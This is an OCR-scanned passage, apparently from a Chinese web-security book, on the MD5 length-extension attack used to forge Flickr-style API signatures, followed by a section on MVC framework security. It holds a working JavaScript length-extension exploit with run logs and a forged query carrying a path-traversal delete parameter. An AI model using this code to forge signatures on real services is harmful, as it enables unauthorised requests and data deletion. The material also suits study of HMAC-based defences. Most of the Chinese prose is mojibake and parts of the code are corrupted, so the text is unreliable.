MRS T — % % F Flickr API %4 % T 44i% 44 paper’, #= Padding Oracle #) paper /L —A2 ., B %
Flickr API &% X AN, 42 % %) %] padding #9 .

HmEFTLT, £Z24A4BT (BAERS) ZXRGRAM-FA R4 T Padding Oracle Lk,
M h & K FEH L8 T Flickr API 2 % 33X /AN F 8, % ATBAT 18] & paper B, & I Flickr API & % iX
AR, F2FR_EA#952 MDS Length Extension Attack, #= Padding Oracle i& Z &R —4#£89, f&
HFR. T Thai Duong %9 paper &, & KXIAEHAERAK KT 2% MDS Length Extension Attack #9
AR EIRT ik, RAFIGHEETRR—HEREH K POC,

* Authorize Preloadr which is an application that uses PHPFlickr >= 1.3.1. You can do that by
access this link:

516d89

*Then click on this link:

would redirect you to httpz//vnsecurity.net.

Thai Duong {] paper H ¥ #liid

EFA B P RAEFRIEG RS, POC ¥ padding TR % 0 F 3, 122 P8 XK Ui 5k
JUANE 0 F %, why?

REERGFEM, REE RIS ENTIE, AT T REG T, ERLNENTHR
M LR T —s3 b sk, RAEAIANLENETEI, TAZE RO E, BokT
B TFiX % blog, RIEANX—= G, ST TAEZRRALFFE T BL, F5 AT
A,
+ 4 & Length Extension Attack?

R % oh A ik # A f£ Length Extension 3 &, X A B A X ®obH L ixAE AT
Merkle-Damgérd hash construction #4743 E 45, AT H 5 e4e MD5. SHA-1 $#22] %,

1 AT 4877 1) blog:  http://hi.baidu.com/aullik5/blog/item/50fe9353e8a60e150cf3e3ce.html
2 http://netifera.com/research/

3 http://netifera.com/research/flickr_api_signature forgery.pdf
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M Message| Message
block 1 | block 2 block n

v v v

Message|Message Message| Length
block 1 | block 2 block n | padding

Fln_ah- _»
sation

Merkle-Damgérd hash construction(copied from Wikipedia)

MDS5 [ 5Bt &

VA MDS A, SRR &L 512bit (3% 64 T4 ) a9 REN U, G —HLRRL
512bit, XMkt A ADERE —LPRALFH, IALRBAHA padding.

77 Length Extension & iX ££49 .

%4036 MDS(scret) B, 727 403 secret 93U T, TouRiz 3l th MDS(secret|padding|jm’),

EXE m RAEZFHIE, | AEESF, TAAE, padding £ secret G WA F T . MDS
4 padding T L& FANE & KA, Hib, A T B E#HAIT I padding 4914, secret #9K
JEAL R BANE st by,

One-Way Hash Function MAC Broken

With Merkle-Damgérd Strengthening

new

llength padding

compression |, [compression| _lcompression compression| _|compression|
v _’ function g function... > function ] function... ” function

Anyone can still tack data and a new length onto the end of the
message and generate a new MAC

secret message... | |length padding| |extra data...

Length-extension attack on MAC=MD(KEY [msg)(copied from[9])

MDS5 length-extension B J5i B 5]

P vA% 53 Length Extension Attack, #t% Z4%%] MDS5(secret) /& B4 0944, 4 1
padding, J&mAZF| T —485 MD5 JE4% F kP, Hbm&HRANERWE,

I fi# Length Extension Attack

A T RN fE Length Extension Attack, A& ZRAZ| MDS5 45 LI P, W 447 exploit,
A% Z38 3 patch MD5 R 3L, MD5 84 52 IS % 7T vA 5% RFC1321°%, XA R &
GHTENETHANEIL, KYLEHFE, FAR &R T —A JavaScript Jak °, LA

4 http://www ietf.org/rfc/rfc1321.txt
5 http://blog.faultylabs.com/files/mdS5.js
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24 52 I Length Extension Attack.

b, MD5 Fixaxtil B3t iT o4, B4 64 NFY, R 64 NFY 69345 padding A
5. padding #9HLME, ERAK—ANFHZIEAA 0x80, H AL IAN 0x00, padding &
JEH) 8 AT ARKTEZAA IR LKA,

/7 save criginal length
rar org_ len = databytes.length
Al i pak - append-tlve: Tl T O
databytes. push(0x30)
/lalert (databytes) /7 FEMHE —Poxao, MEEFox00 e t)
AF determine reguired amount of padding
rar tail = datasbytes.length % 64
/7 no room for msg length?
if (tail > 56)
A4 pad to next 51z pit block
for (var i = 0; i < (64 - tail); i++] {
databytes.push (0x0)
H
tail = databytes.length % 64
}
for (i = 0; 1 < (56 - tail); i++) {
databytes.pushi0Ox0)
i

LY message length in bits mod 512 should now be 445
A7 append 64 bit, little-endian original msg length (in *bits*!)
datsbytes = databytes.concat (intf4_to bytes(org_len * 3))

Afalert (databytes) ff BEsAAEETEE

Yo heir NG9 H B A . 0.46229771920479834, %A ASCIL AL, BN FH B AKME TR .

Javascript BB

48, 46, 52, 54, 50, 50, 57, 55, 55, 49, 57, 50, 48, 52, 55, 57, 56, 51
.52

RAHBEEFH I9ANFT, RE64AMFT, HF TFHSE L2 padding. padding
J BT A

L 152,0,0,0,0,0,0,0
[ BN AR THEE.

WG SAFHRARTHIERE, H 19%8 =152,

JEXT I BB AT \ﬁu&pmmgfgNmsﬁ%%%&mﬁ&m%@ﬁﬁ&%,%Lﬁ4%
HFEE#H, EENEEP, —FHBERHTIFHmBaE, A4 PEMEL, isaER2
AL RS, ZAFE L E L —T 8, RIEFH, XL GHD)

S/ initialize 4x3Z bit state
var h0 = 0Ox67452301

var hl = OxEFCDAEGS
var hZ = Ox98BADCFE
var h3 = Ox10325476

/4 temp buffers

var a = 0, b =0, c =0, d=20

/4 Digest message

for (i = 0 i < databytes.length / 64; i+4+) {
FSlfalert (databytes)
S ipitialize rum

a = hO
b = hl
¢ = hi
d = h3
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3

KRG ZIT 64 F T,

>°

updateRun (£Gib, o, dj, Ox455alded, bytes_to_int32 (datsbytes, ptr
updateRun (£Gi(b, c, dj, Oxa9e3e905, bytes_to intiZ (datsbytes, prr
updateRun (G b, o, dj, Oxfeefalifs, bytes_to int3Z (datsbytes, prr
updateRun (£Gib, o, dj, Oxe76£02d3, bytes_to int3Z (datsbytes, prr
updateRun (£G (b, c, dj, OxS8d2adcSa, bytes_to_int32 (databytes, ptr + 45), 20)
updateRun (fH{b, o, dj, Oxfffa394Z, hytes_to_int3Z (datshytes, ptr + 20), 4)

+ 321, 20)
+
%
+
+
+
updateRun (fHib, <, dj, OxB8771£681, bytes_to_int32 (datsbytes, ptr + 32), 11)
+
+
+
+
+
+

521, 5]
81, 9
281, 14)

updateRun (fHib, c, dj, Ox6d9d6122, bytes_to_intiZ (datsbyrtes, prr 44), 16)
updateRun (fHib, c, dj, OxfdeS350c, bytes_to intiZ (datsbytes, prr 561, 23)
updateRun (fHib, o, dj, Oxatbesadd, byres_to int3Z (datsbytes, prr 4y, 4y
updateRun (fHib, c, dj, Oxdbdecfad, bytes_to_int32 (databytes, ptr + 16}, 11)
updateRun (fH{b, o, dj, Oxf6bbd4h60, bytes_to_int3Z (datahytes, ptr + 28), 16]
updateRun (fH{b, ©, d), Oxbebfbc70, bytes_to_int3Z (datshytes, ptr + 40), 23]
updateRun (fHib, <, dj, O0x28%7ecd, bytes_to_int3z (datsbytes, ptr + 52), 4)
updateRun (fHib, c, dj, Oxeaalz7fa, bytes_to intiZ (datsbytes, prr), 11)
updateRun (fHib, o, dj, Oxd4ef3085, bytes_to_ int3Z (datsbytes, prr + 12), 16)
updateRun (fH{k, o, dj, 0x45581d0S, bytes to_int32 (databytes, ptr + 24), 23)
updateRun (fHib, c, dj, Oxd9d4d03S, bytes_to_int32 (databytes, ptr + 36}, 4]
updateRun (fH{b, ©, d), OxeédoS9eS, bytes_to_int3Z (datsbytes, ptr + 48), 11]
updateRun (fHib, <, d), Oxlfa27cf8, bytes_to_int32 (datsbytes, ptr + 60), 16)
updateRun (fHib, c, dj, Oxc4ac5665, bytes_to intiZ (datsbytes, prtr + &), 23)
updateRun (£Iib, c, dj, Oxf4292244, byres_to intiZ (datshytes, prr), 6)
updateRun (£Iib, o, dj, Ox432aff97, bytes_to_int3Z (datsbytes, prr + 28), 10)
updateRun (fIib, c, di, Ox=zh9423a?, bytes_to_int32 (databytes, ptr + 56}, 15)

XA —Afor PR, EHAFRHFERE, BTG PRME, IAESN T —4# for J43R.

/4 update buffers

b0 = _add(h0, a)
hi = add(hi, b
hz = _add(h2, c]
h3 = _add(h3, dJ

EATAF AT @ ARTK MDS 2 M e B vh? XA for JAERaYiE A2, #hA —RORW R4 A2, E—R
E4 e R, FAEA T —RIES 0% N, T Length Extension #9328 al, AW Sty s
R, ABTEREANG RSN, X EP, REZL-REHEHER, R
RSB BRI BN EE 4

=

Lt Length Extension Attack

#2f# 7 Length Extension #) ¥ )5, BT Rk FR2EHAXN K FT . XEALEEFREE,
%0 MD5 15/E LB B A R4 F 3 P PG Tt 4 A3

it if e MDS5 Hk, RAEEIE — &
A s g A IR, FHsE T

var m = new Array(]:
for (i=0:i<m wdS.length:i+=8)¢
m.push(m_mds.slice (1,1+8))

¥
£ s (4 52 (5 AT R AL IR AR R AR AT
var x;
for(x in m){
mlx] = ltripzero(m(x]):

7/ convert string to int  comvert of to zerofilled hex()
m[x] = parselnt(w[x], 16) >> 0;

s/ comvert of intiZile to hex
var t=0;
var ta=0;

ta = mlx]:

£t = (ta & OxFF):

ta = ta > 8:
t=rt<<8d

t =1t | (ta & OxFF);
ta = ta »»> 8;

£ =t << 8

t =t | (ta & OxFF);
ta = ta >>> 8;
Ei=iEieen
t=r1t| ta
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M kat, % stde MDS{AHF R 4 40, BASAFY ., de:

9d391442efeadbe3 666caf8549bd4£d3

WA

9d391442 efeadbe3 666caf85 49bd4fd3

RIGAFLEIUAS string #4300 B3, FARYE— R F) 09 BF AL, TRA for TR L &% 2
349 h3,h2,h1,h0,

var h0 = m[0] ;
var hl = m[1]:
var h2 = m[2];
var h3 = m[3];

&T%%L4AﬁMAﬂNm5%E% WRCF, SF AR, LB TT VAR S @ A At

BRET ., AMNARXNTE—
mﬁwua%QQNBMW%ﬂwm'aR%%z —# MD5 JE4%5 .

[+] seeret is :0.12204316TT0BETRT

[+] length is :19

[+] message want to append is :axis is smart!
[+] Start caleulating secret’ s hash

run times: 0

h3: 2077420764

h2: 1804103851

hl: 1819950407

hi: 710980175

[+] Calculate secret’ s mdb hash: 4fb2602a3b3fTabcabT0886bdeecd2Th

INE é’] MD5 A TV AT B X 4 AP Ea, R AT&RA1A 2 M il 8 “axis is smart!”,

[+] Start calculating new hash

[+] theory: him||p||nl)

[+] that is: md5_compression_function(® 4fb2602a3b3fTaBcabT0886bdcecd2Th’, "secret’ s length', “axis is smart!’)

run times: 1

h3: 1143610037

h2: -603376889

hl: 1798541181

ho: -1144481702

[+] padding (urlencode format) is:
%RO%00%00%00%00%00%A0%00%00%00%A0%00%00% 00K 00%00%00% 00K 00%00%C0% 00K 00B00%00% 00K 0% 0% 00K 00K D00 0KO0H00HA0%K00KD0%SBRA0KO0K00%00¥00%00%00

[+] guessing new hash is: 5a98c8bbT7d8£336bef3609dcb5laZadd

T B secret B SG 4 NP RE, TV ABBATE WM T N B0 RS, ML
H—PFAET AAFPRMEL, At AR FT) MDS5 1A,
AT BiE s R TE EH, KAV H— T #7649 MD5(secret|[padding|[m')

[+] now verifying the new hash
[+] new message(urlencode format) is:

0. 1220431677065T33THB0R00R00%00%00K00%00%O0%O0K00%ON%DOKAOKOOKODRO0KAORA0KOT

run times: 0

h3: 2077420764
hZ: 1804103851
hl: 1819950907
hi: 710880175

run times: 1

h3: 1143610037
h2: -603375889
hl: 1798541181
hi: -1144481702

[+] md5 of the new message is: 5a98c8bb7d8f336bef3609dcb51a2add

TAAE], MDS5 AAFR A3+ F B ok ey 4 R T — 5y,



272 AT Web %4

TR LT

<script src="md5.js" ></script>
<script src="md5 le.js" ></script>

<script>
function print (str) {
document.write (str);

print ("=== MD5 Length Extension Attack POC ===<br>=== by axis ===<br><br>");

// turn this to be true if want to see internal state
debug = false;

var x = String(Math.random()) ;
var append m = 'axis is smart!';
print ("[+] secret is :"+x+"<br>"+"[+] length is :" + x.length+"<br>");

print (" [+] message want to append is :"+append m+"<br>");

print ("[+] Start calculating secret's hash<br>");
var old = faultylabs.MD5 (x);
print ("<br>[+] Calculate secret's md5 hash: <b>"+o0ld+"</b><br>");

print ("<br><br br>");

print ("[+] Start calculating new hash<br>");

print ("[+] theory: h(m||p||ml)<br>");

print (" [+] that is: md5 compression function('"+old+"', 'secret's length', '"+ append m
ML r>")

var hash guess = md5 length extension(old, x.length, append m);
print (" [+] padding (urlencode format) is: "+ escape(hash guess['padding']) + "<br/>");
print ("<br>[+] guessing new hash is: <b>"t+hash guess['hash']+"</b><br>");

print ("<br><br br>");
print (" [+] now verifying the new hash<br>");

var x1 = '';

x1l = x + hash guess|['padding'] + append m;

print (" [+] new message (urlencode format) is: <br>"+ escape(xl) +"<br><br>");
var v = faultylabs.MD5 (x1) ;

print ("<br>[+] md5 of the new message is: <b>"+v+"</b><br/>");
</script>

XA mdS lejs 52 patch MDS fikag 3L, AT faultylabs 49 MD5 £ 3Lm &k, HRA
RS . md5.js W% faultylabs 45 MD5 5230 ¢, £ #0AUR F 34 MD5 14,

6 http://blog.faultylabs.com/files/mdS5.js
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=== MDE Length Extension Attack POC ===
=== by axis ===

[+] secret is :0.9499676363197237

[+] length is :18

[+] message want to append is 'axis iz smart!
[+] Start calculating secret’ s hash

[+] Calculate secret’ s md5 hash: 6a674556fdbbladbed628a9dedl54b53

[+] Start calculating new hash

[+] theory: him||p||ml}

[+] that is: md5_compression_function(’ 8a874556fdbbladbcd628a3ded1BabE3’, " secret’s length’, “axis is smart!’)
[+] padding(uwrlencode format) is:

HB0%00%00% 00K 00% 00K A% ODBOCKEDOBO0KD0OBOOKOOKO0KOOKO0KO0KO0K%O0KOOKONHKODKOOKOVROOKOVKO0KOOKO0KO0KO0KOOKOKDOROCKOD!

[+] guessing new hash is: clcd3b6bc88292de2f2a3£2735429933

[+] now verifving the new hash
[+] new messagefurlencode format) is:
0. 94996 768631 9T23THE0B 00000 0% 00%00%00K00%00K00%00%00%00%00%K00%00KO0KO 0RO 0KO 0RO DK O DK OOKDOROOROOKOOKOOKOOKOOKROTE

[+] mdS of the new message iz: clcd3b6bcB8292de2f2a3f2735429933

w{a#) A Length Extension Attack

4e4T#] Al Length Extension Attack %27 #&/114ni& Length Extension 2 4F 7T VA J£ )R L Z )G M A
EEAE, ST H A ee A, RE MR T AL,

— NG E L, — MG E salt HH key M EAKAL, W salt K& key HAE KF08y, Ltk
1243 R LA K Fat . f2 Flickr API 2 289 ¥, Flickr API FIBEAL T —AMER, AR
Amazon #) AWS % % 4jeit kR S SR B IR b, SAGEE AR A R, P
A ke

?a=1&b=2&c=3
AR, EELAETEBNRERTRT

alb2c3
AR 2k A T AR A

?a=1b2c3[....Padding....]&b=4&c=5
A E 2 Sk P E AT

alb2c3[....Padding....]b4cS
i@ it Length Extension 7 VA& Rk — M8G5k 0045 % . IR G —FA A F ik,

M S, BT AW AT e Sk, BTOAEE AR E A, 1208 U F K b I 6 SR
STYAB A, phde .,

7a=1&b=2&c=3&delete=../../../file&sig=sig new

AP E G A

7 http://www.daemonology.net/blog/2008-12-18-AWS-signature-version- 1 -is-insecure.html
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B = Ak oy X EiTsF HPP 7

W A A8 ] 64 A4 T B AL R R A9 R3S T R Rl e 45 3R, o = A — 840k A . eS8 th
AT, TAHBEANFAMN, ReRRESEHRET L%, WFEZi@id Length Extension {41
— N E L AT,

?a=1&b=2&c=3&a=4&sig=sig_new

/5, Length Extension ‘% %4ri8 69 length, £ 522 TTVAH B ok figay,

Length Extension 3£ A 1+ 4 #) 7 X7 Aty K AEARG B Ave,

How to Fix?

MD5. SHA-1 % 2 #94% Al Merkle-Damgard hash construction #9 Lk 2 XA 2T .
1% i HMAC-SHA1 Z %69 HMAC J%v2, B a7 HMAC & A L INE L2 HRF
7 91, A1 2t Flickr APL 54 A 0% 4 64 5 ) k5L, secret 20 B £ A SR B AL AL B b X AP & .
4w MD5(m+secret), # 245 MD5(m+secret|[padding||m'), %R & T 8 3hH A secret
ERRM K F, 2% m MD5(m|jpadding||m'|jsecret), M fa-F2% Length Extension run A2 k&
PR —BARFE T T
http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/
http://en.wikipedia.org/wiki/SHA-1
http://utcc.utoronto.ca/~cks/space/blog/programming/HashLengthExtAttack
http://netifera.com/research/flickr_api_signature forgery.pdf
http://en.wikipedia.org/wiki/Merkle-Damgard construction
http://www.mail-archive.com/cryptography@metzdowd.com/msg07172.html
http://www.ietf.org/rfc/rfc1321 .txt
md5_le.js BRAAD 4 TF

md5 length extension = function(m md5, m len, append m) {
var result = new Array();

if (m md5.length != 32){
alert ("input error!");
return false;

}

// ¥MDSEHF A, RFAH AT

var m = new Array();

for (i=0;i<m md5.length;i+=8) {
m.push (m md5.slice(i,i+8));

}
// FFMD5 ) 4 40 I 5 s 40 o 50 7 S R U
var x;
for(x in m) {
m[x] = ltripzero(m[x]);

// convert string to int ; convert of to zerofilled hex()

8 http://hi.baidu.com/aullik5/blog/item/a9163928ae5122{699250ad3.html
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m[x] = parselnt(m[x], 16) >> 0;

// convert of intl28le to hex
var t=0;

var ta=0;

ta = m[x];

t = (ta & OxFF);

ta = ta >>> 8;

t =t << 8;

t =t | (ta & OxFF);

ta = ta >>> 8;

t =t << 8;

t =t | (ta & OxFF);
ta = ta >>> 8;

t =t << 8;

t =t | tas

mix] = t;

}

// Meb T B I MD S [ 45 B BT append m LK append mffipaddingHi Al
// SEim PR O AT R, WU A AR

var databytes = new Array();

// WA, RBRZEANE m s 64 MKEERIAS, sz Brf IR, (HEAIHLIEM A Epadding
[/ WHSHEKER T 64, WIFHEMIGEZ AR, FH CUS - IE#f 60E BB
if (m_len>64) {
for (i=0;i<parseInt(m_len/64)*64;i++) {
databytes.push ('97'); // HREEFT
}

for (i=0;i<(m len%64);i++) {
databytes.push ('97'); // WHEEERTFH
}

// VHHpadding
databytes = padding(databytes);

/] BAFE R Apadding, FATH T EX AN

result['padding'] = '';

for (i=(parselnt(m len/64)*64 + m len%64);i<databytes.length;i++) {
result['padding'] += String.fromCharCode (databytes([i]) ;

}

// F¥append m e hE LA N

for (j=0;j<append m.length;j++) {
databytes.push (append m.charCodeAt (j)) ;

}

// WHEHiMpadding
databytes = padding(databytes) ;

var h0 =
var hl
var h2
var h3

var a=0,b=0,c=0,d=0;
// Digest message
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FIE 5 UF Web 242

// i=n JF#f, MM append b FFUHE4E

for (i =
// initialize run
a = ho
b = hl
c = h2
d = h3
var ptr = 1 * 64

// do 64 runs

updateRun (fF (b,
updateRun (fF (b,
updateRun (£F (b,
updateRun (fF (b,
updateRun (fF (b,
updateRun (£F (b,
updateRun (fF (b,
updateRun (fF (b,
updateRun (£F (b,
updateRun (fF (b,
updateRun (fF (b,
updateRun (£F (b,
updateRun (fF (b,
updateRun (fF (b,
updateRun (£F (b,
updateRun (fF (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (£G (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fH (b,
updateRun (fI (b,
updateRun (fI (b,
updateRun (£I (b,

Cy

Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy

Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy

Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy

Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy

Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy

Cy
Cy
Cy
Cy

d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4

parselnt (m_len/64)+1; i < databytes.length / 64; it+)

{

0xd76aa478, bytes to int32(databytes, ptr), 7)
0xe8c7b756, bytes to int32(databytes, ptr + 4), 12)
0x242070db, bytes to int32 (databytes, ptr + 8), 17)
Oxclbdceee, bytes to int32(databytes, ptr + 12), 22)
0xf57c0faf, bytes to int32(databytes, ptr + 16), 7)
0x4787c62a, bytes to int32(databytes, ptr + 20), 12)
0xa8304613, bytes to int32(databytes, ptr + 24), 17)
0xfd469501, bytes to int32 (databytes, ptr + 28), 22)
0x698098d8, bytes to int32(databytes, ptr + 32), 7)
0x8b44f7af, bytes to int32(databytes, ptr + 36), 12)
Oxffff5bbl, bytes to int32(databytes, ptr + 40), 17)
0x895cd7be, bytes to int32(databytes, ptr + 44), 22)
0x6b901122, bytes to int32(databytes, ptr + 48), 7)
0xfd987193, bytes to int32(databytes, ptr + 52), 12)
0xa679438e, bytes to int32(databytes, ptr + 56), 17)
0x49b40821, bytes to int32(databytes, ptr + 60), 22)
0xf6le2562, bytes to int32(databytes, ptr + 4), 5)
0xc040b340, bytes to int32(databytes, ptr + 24), 9)
0x265e5a51, bytes to int32(databytes, ptr + 44), 14)
Oxe9b6c7aa, bytes to int32 (databytes, ptr), 20)
0xd62£f105d, bytes to int32(databytes, ptr + 20), 5)
0x2441453, bytes to int32(databytes, ptr + 40), 9)
O0xd8ale681, bytes to int32(databytes, ptr + 60), 14)
Oxe7d3fbc8, bytes to int32(databytes, ptr + 16), 20)
0x2lelcde6, bytes to int32(databytes, ptr + 36), 5)
0xc33707d6, bytes to int32 (databytes, ptr + 56), 9)
0xf4d50d87, bytes to int32(databytes, ptr + 12), 14)
0x455al4ed, bytes to int32(databytes, ptr + 32), 20)
O0xa9%9e3e905, bytes to int32(databytes, ptr + 52), 5)
Oxfcefa3f8, bytes to int32(databytes, ptr + 8), 9)
0x676£02d9, bytes to int32(databytes, ptr + 28), 14)
0x8d2ad4c8a, bytes to int32 (databytes, ptr + 48), 20)
0xfffa3942, bytes to int32(databytes, ptr + 20), 4)
0x8771f681, bytes to int32(databytes, ptr + 32), 11)
0x6d9d6122, bytes to int32(databytes, ptr + 44), 16)
0xfde5380c, bytes to int32(databytes, ptr + 56), 23)
Oxadbeead4d, bytes to int32(databytes, ptr + 4), 4)
Ox4bdecfa9, bytes to int32(databytes, ptr + 16), 11)
0xf6bb4b60, bytes to int32(databytes, ptr + 28), 16)
Oxbebfbc70, bytes to int32(databytes, ptr + 40), 23)
0x289b7ec6b, bytes to int32(databytes, ptr + 52), 4)
Oxeaal27fa, bytes to int32(databytes, ptr), 11)
0xd4ef3085, bytes to int32(databytes, ptr + 12), 16)
0x4881d05, bytes to int32(databytes, ptr + 24), 23)
0xd9d4d039, bytes to int32 (databytes, ptr + 36), 4)
Oxe6db99e5, bytes to int32(databytes, ptr + 48), 11)
0x1fa27cf8, bytes to int32(databytes, ptr + 60), 16)
Oxc4ac5665, bytes to int32(databytes, ptr + 8), 23)
0xf4292244, bytes to int32(databytes, ptr), 6)
0x432aff97, bytes to int32(databytes, ptr + 28), 10)
0xab9423a7, bytes to int32(databytes, ptr + 56), 15)
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updateRun (fI (b,
updateRun (£I (b,
updateRun (£I (b,
updateRun (fI (b,
updateRun (£I (b,
updateRun (£I (b,
updateRun (fI (b,
updateRun (fI (b,
updateRun (£I (b,
updateRun (fI (b,
updateRun (fI (b,
updateRun (£I (b,
updateRun (fI (b, c,
// update buffers
h0 = add(h0, a)

hl = add(hl, b)

h2 = add(h2, c)

h3 = add(h3, d)

d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4
d),
d) 4
d) 4

Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy
Cy

if (debug == true) {

document.write ("run times:
"+hl+"<br/>h0:

"+hOo+"<br/>")
}

result['hash'] =
return result;

0xfc93a039,
0x655059c3,
0x8f0ccc92,
Oxffeffd7d,
0x85845dd1,
Ox6fa87e4df,
Oxfe2ceb6el,
0xa3014314,
Ox4e0811lal,
0xf£7537e82,
0xbd3af235,
0x2ad7d2bb,
0xeb86d391,

/1 AT AR TT A EAT0, QRAT L 4

function ltripzero(str) {

if (str.length != 8) {
return false;

}

if (str == "00000000") {

return str;

var result = '';
if (str.indexOf('0') ==
var tmp = new Array();
tmp = str.split('');
for (i=0;i<8;i++){
if (tmp[i] !'= 0){
for (j=i;j<8;j++) {
result =
}

break;

}

return result;
}else{

return str;

}

// HHAE R padding

function padding (databytes) {
(databytes.constructor

if
return false;

0

) |

result + tmp([j];

!= Array)

"+i+"<br/>h3:

bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,
bytes to int32 (databytes,

"+h3+"<br/>h2:

int128le to hex(h3, h2, hl, ho);

{

ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr

+ o+ o+ o+ o+ o+ o+ o+ +

20), 21)
48), 6)
12), 10)
40), 15)
4), 21)
32), 6)
60), 10)
24), 15)
52), 21)
16), 6)
44), 10)
8), 15)
36), 21)

"+h2+"<br/>hl:
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AT EEAY, JRATIHE T VF 2NN« 55 4 i ) 22 4 e, T 28 [ sl X I PR i e T
o BRI, SEitiais, BHERIUFRIROR, WIESE A H bx:

(D ZATrRIEM. A
(2) MG RILITA W REAFAE M AT, AN LR

S RNBRI A B 5, A et e REW il ok ) BT %6, ABITFZ R
i, HZA AR BUARA S LE W ECIEREE T XSS SQL iE A S 1 /£ i # a4
WA IX LI A (HIE, 7 FEATROEABIN, BB e 5, T 2k
B, R RE AN NE, BN BATIEAT R AR AU A . T Web
TFRMER, BA R PRIZA B T .

12.1 MVC {EZe %=

EIAR Web FF R, AT MVC 222 —FiiAT 4. MVC 22 Model-View-Controller
M4, ek Web R h =2, View ZH 5T M. BUfER% TAE: Controller 1157
FFZARSIL, il View EAE NI K, FFH R G0 NK) Model AL RE; Model JZ2 71
TTSEIMEEAY, 58 s b 2

HTTP Execution
R t
m eques -~ Parameters __ O
BROWSER CONTROLLER MODEL
S .
HTTP Resulting J(?
‘ Response ' Data Arrays
GUI Resulting
Content Data Arrays

]
VIEW

g

MVC HEZLR & K
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MEHE AR E, B IR MEGE SRR EA T View J2. Controller. Model )2, dE17
T k. FERETE e T BN, BRI R A AR N B R R . AE MVC HESE Tl
PIArs iEes T, AR R AT R AL B, X T Ty R TR IAE R

Lt 4n?E Spring Security ', i URL pattern SEHLIFI U7 il 455, 75252 i HEAE K AR R BT A7 H
1#2K, 7E Spring Security 3KH{ T URL handler FEfih [, A7 1] Ge44 5 2211 2 20 A ¥4 52 . £F Spring
Security FIRC'E F, 25— Ll EAE web.xml SCHEHIEII—A filter, #7587 ] 7 Bdi

<filter>
<filter-name>springSecurityFilterChain</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
</filter>

<filter-mapping>
<filter-name>springSecurityFilterChain</filter-name>
<url-pattern>/*</url-pattern>

</filter-mapping>

SR (AL B2 S 20K, Bl AR N 2R B 5, AR e AN,
W4 toLowercase, 23l R S A R/NE s 11— L9 A D, W] fE<> 4 GBK 421K Unicode
o IXLECAb PR OB HAR T N 2, DRI E ST e 4 7 6, B IR B v e AR A, A
M 22 A A AT AN P A L

FEAFH 1 TR LRs], MUFNLETTR, Nize: FEIEMKMTT, MIERKFER.

ZEBRE, fE AT =, BRATERAA M PHP 1) magic_quotes_gpe fF kT
XPL SQL vENIBHMH 7 %, X &K h magic _quotes gpe A&H BIAR, & HEH I T
fift ¥R 1) 7 . magic_quotes_gpe KPR F 2 Tk addslashes(), LRk TS5 (Lhingis| =)
WATH S, ABRET V.

XN EI MVC 288 5L, &2 AE View EMOXATFFHF, 1 SQL VA& Model = 5 2 Y i)
M), ZER AR ? BRI E] T 2 Mgent magic quotes gpe HIZME, LN # ] GBK Zwil.
(R ST R AN

PHP B 5 (E47 TR £ T IO IERIZAN WU, TR AE B 7 SORY ik rh A e K K A

Vd
e
wWarning
This feature has been DEPRECATED as of PHP 5.2.0. Relying on this feature is highly discouraged.

Magic Quotes is a process that autamagically escapes incoming data to the PHP script. It's preferred to code with magic quotes off and to instead
escape the data at runtime, as needed,

PHP & 7 /5 B Magic Quotes

1 http://php.net/manual/en/security.magicquotes.php
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JITEL Model J2 13t 4 2 View 2 2 vk, SCR A 2@ 1.

— R, AR B AE B T A, RN BRI ) S, FEAE CIER
TR AT e e A, e Web 4B, W1 XSS, CSRF. SQL vEA. i #al.
ANIE. URL B AN FL 45 I 5 22 4 i) i, #0nT DLAE HHOE MVC HMEZE R iR v

FERESE R S 22 4207 58, LU Ry a3 B R — AN BAKK) bug, E 2 ILH-

B, AT A T DIAERESE P g ik, BEE R REY DN AR &, WA A
Ao AR IR B e REERT, AEMVSS T, LT e a2 A MERMwITR L ok
AT RESE KIS o

Hk, X 2w ILAIRTR U, B 5B AT e LG e, e g
fif, ATPTREMEDR “ IR B, XA E AR AR AT A TR S .

e, AEREM G AR AN AT, AN T ROARHERELAGE—, i fEMESR b e rh SOt ) 22 425
5, T LUMEPTAT TSR ML S #RAER 2k, 2T SRRV U, R 4R

12.2 BEIRSIZEES XSS B

£ View =, WJ LLifgk XSS [Wile fEARASH) “PSuiIATGE” — &, ik T “MAka”
5 Ry gt X PR TRAE XSS BIERCR BRI R XSS B AT R WA B AT,
FCTE Gl R A IR 55 i i DUTE I, VEN T3 HTML AU S 2R« A MVC SR,
RERAAE View J=, UL “Hthged” (B EE MG, XEWAE LA LT
LMK XSS Hreidgy s, AN R 4 U5 5K

